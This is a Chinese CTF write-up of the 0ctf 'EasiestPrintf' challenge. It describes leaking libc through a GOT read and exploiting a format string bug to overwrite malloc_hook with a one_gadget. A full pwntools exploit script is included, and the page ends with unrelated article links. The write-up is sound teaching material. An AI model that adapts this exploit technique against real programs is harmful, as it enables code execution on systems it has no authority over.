格式化字符串漏洞利用实战之 0ctf-easyprintf
前言
这是 0ctf 的一道比较简单的格式化串的题目。
正文
逻辑非常简单

do_read 可以打印内存地址的数据,可用来 泄露 got.

leave 格式化字符串漏洞。

printf(s) 直接调用 exit 退出了。不过可以使用 %1000c 触发 printf 里面的 malloc 和 free, 所以思路很清楚了,修改 free_hook 或者 malloc_hook 为 one_gadget, 并且在格式化串末尾加上 %1000c触发 malloc 和 free

最后
最开始修改 free_hook, 发现所有的 one_gadget 都不能用,后面使用了 malloc_hook ,终于找到一个可以用的,估计和寄存器的数据有关。
exp:
from pwn import *
context(os='linux',log_level='debug')
p = process("./EasiestPrintf")
# gdb.attach(p, '''
# c
# ''')
setvbuf_got = 0x08049FF0
exit_got = 0x08049FE4
pause()
p.sendline(str(setvbuf_got))
p.recvuntil("Which address you wanna read:\n")
setvbuf_addr = int(p.recv(len('0xf7e60360')), 16)
libc_addr = setvbuf_addr - 0x60360
free_hook = libc_addr + 0x1b38b0
malloc_hook = libc_addr + 0x1b2768
one_gadget = libc_addr + 0x3ac69
log.info("free_hook: " + hex(free_hook))
log.info("one_gadget: " + hex(one_gadget))
pause()
payload = fmtstr_payload(7, {malloc_hook: one_gadget})
payload += "%100000c"
p.sendline(payload)
p.interactive()
格式化字符串漏洞利用实战之 0ctf-easyprintf的更多相关文章
- 格式化字符串漏洞利用实战之 njctf-decoder
前言 格式化字符串漏洞也是一种比较常见的漏洞利用技术.ctf 中也经常出现. 本文以 njctf 线下赛的一道题为例进行实战. 题目链接:https://gitee.com/hac425/blog_d ...
- Linux下的格式化字符串漏洞利用姿势
linux最早的漏洞防护机制nx-stack刚刚出现后就有人想出了突破方法.那就是只有栈是不可执行,而除了栈以外的其他地方还是可以执行的,只要把返回地址执行别的地方就可以. 一.格式化字符串漏洞 格式 ...
- Linux pwn入门教程(6)——格式化字符串漏洞
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
- 通过格式化字符串漏洞绕过canary
1.1 canary内存保护机制 1.1.1 canary工作原理 canary保护机制类似于/GS保护机制,是Linux下gcc编译器的安全保护机制之一,在栈中的结构如下图所示: 在函数 ...
- 格式化字符串漏洞 format string exploit(一)
本文系原创,转载请说明出处 本文为基于CTF WIKI的PWN学习 0x00 格式化字符串原理 先附一张经典的图,如下 其栈上布局如下: some value 3.14 123456 addr of ...
- sprintf格式化字符串漏洞(转)
深入解析sprintf格式化字符串漏洞 特征: 如何利用: 可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题: 没做字 ...
随机推荐
- linux文件映射到windows(方便用虚拟机搭建linux服务器,用本地windows代码编辑)
1,安装docker: https://docs.docker.com/install/linux/docker-ce/centos/ 2,linux上创建好需要共享的目录 /data/share(可 ...
- pthon获取word内容之获取表单
需求:把word里面的表单内容获取 按照规则拼成字符串 转换成类似下面的样子 代码如下: from docx import Document import re def parse_docx(f): ...
- git使用时的一下简单命令
一.简介 SVN集中式版本控制系统 分布式版本控制系统 二.使用git 1.git init 将这个命令变成git可管理的仓库 2.git add filename 将这个文件添加到仓库 3.git ...
- javac之Inferring Type Arguments Based on Actual Arguments
We use the following notational conventions in this section: Type expressions are represented using ...
- C/C++ -- Gui编程 -- Qt库的使用 -- Qt5试用
1.头文件<QtGui>变成了<QtWidgets> 相应<QtGui/***>变成了<QtWidgets/***> 2.QTextCodec::set ...
- Android 7.0 FileProvider 使用说明
FileProvider FileProvider 这个组件在Android 22.0.0 (也就是 Android 5.0 ) 版本下加入进Android系统,该组件是ContentProvider ...
- 使用subgit进行svn迁移至git(branch,tags)
前言: 最近公司需要将整体项目从svn迁移至gitlab上,经过几天的研究,现记录一下流程 整体思路是进行一次导入: 先通过subgit将svn整个import至本地,在与git上的项目进行合并. 1 ...
- WPF中常用的Window事件
官方链接:https://msdn.microsoft.com/en-us/library/system.windows.window.statechanged(v=vs.110).aspx 1. A ...
- SharePoint2013使用资源管理器打开失败
我们在使用sharepoint 2013的文档库或者资源库的时候,经常会需要用到使用“资源管理器”来管理文档,但是有时候,点击“使用资源管理器打开”,会提示如下错误: 在文件资源管理器中打开此位置时遇 ...
- Java封装Redis常用操作
package com.advance.Redis; import org.apache.log4j.Logger; import org.testng.annotations.Test; impor ...